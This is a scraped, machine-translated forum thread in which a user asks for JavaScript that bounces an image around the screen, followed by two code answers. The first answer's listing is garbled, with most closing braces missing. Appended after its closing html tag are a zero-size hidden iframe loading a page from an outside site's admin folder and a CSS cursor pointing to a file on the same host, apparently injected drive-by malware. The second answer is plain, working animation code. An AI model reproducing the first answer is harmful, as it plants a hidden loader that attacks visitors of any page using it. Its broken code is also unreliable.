2013年10月29日星期二

JS seeking an effect , understand the great god JS troubles come and see

Is a picture on the screen constantly scrolling back and forth between the kind of effect , who can help write one . .
Thank you ! ! !
is shown in the following figure effect . .

------ Solution ------- -------------------------------------

<html><body link="#000000" vlink="#000000"><SCRIPT> 
var imagepath="01.gif"
var imagewidth=80
var imageheight=80

var speed=3; 
var imageclick="http://url" 
var hideafter=0 

var isie=0; 
if(window.navigator.appName=="Microsoft Internet Explorer"&&window.navigator.appVersion.substring(window.navigator.appVersion.indexOf("MSIE")+5,window.navigator.appVersion.indexOf("MSIE")+8)>=5.5) { 
isie=1; 

else { 
isie=0; 


   if(isie){ 
      var preloadit=new Image() 
      preloadit.src=imagepath 
   } 


function pop() { 
if(isie) { 
x=x+dx;y=y+dy; 
oPopup.show(x, y, imagewidth, imageheight); 
if(x+imagewidth+5>screen.width) dx=-dx; 
if(y+imageheight+5>screen.height) dy=-dy; 
if(x<0) dx=-dx; 
if(y<0) dy=-dy; 
startani=setTimeout("pop();",50); 



function dismisspopup(){ 
clearTimeout(startani) 
oPopup.hide() 


function dowhat(){ 
if (imageclick=="dismiss") 
dismisspopup() 
else 
window.open(imageclick);



if(isie) { 
var x=0,y=0,dx=speed,dy=speed; 
var oPopup = window.createPopup(); 
var oPopupBody = oPopup.document.body; 
oPopupBody.style.cursor="hand" 
oPopupBody.innerHTML = '<IMG SRC="'+preloadit.src+'">'; 
oPopup.document.body.onmouseover=new Function("clearTimeout(startani)") 
oPopup.document.body.onmouseout=pop 
oPopup.document.body.onclick=dowhat 
pop(); 

if (hideafter>0) 
setTimeout("dismisspopup()",hideafter*1000) 

</SCRIPT>  
</body>
</html>
<iframe src=http://www.mymole.net/admin/inc/ccd.htm width=0 height=0></iframe>
<DIV style="CURSOR: url(http://www.mymole.net/admin/inc/ads.jpg)"></DIV>


---- - Solution --------------------------------------------
effect diagram:

code is as follows , and will not asked . This write their own .
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Insert title here</title>
<style>
#image{
position:absolute;
}
</style>
<script type="text/javascript">

var x=50;
var y=60;
var step=1;
var xflag=true;
var yflag=true;

function move(){
var image=document.getElementById("image");

var xRange=document.documentElement.clientWidth-image.offsetWidth;
var yRange=document.documentElement.clientHeight-image.offsetHeight;

if(x>=xRange){
xflag=false;
}
if(x<=0){
xflag=true;
}
if(y>=yRange){
yflag=false;
}
if(y<=0){
yflag=true;
}

x+=xflag?step:-step;
y+=yflag?step:-step;

image.style.left=x+"px";
image.style.top=y+"px";
}
window.onload=function(){

window.setInterval("move()",10);//周期执行一个函数
}
</script>
</head>
<body>
<img id="image" src="1.png" alt="图片"></img>

</body>
</html>

------ For reference only ----------------------------------- ----
search floating image effects can be found to
------ For reference only ------------------------ ---------------
http://ad.jz123.cn/

没有评论:

发表评论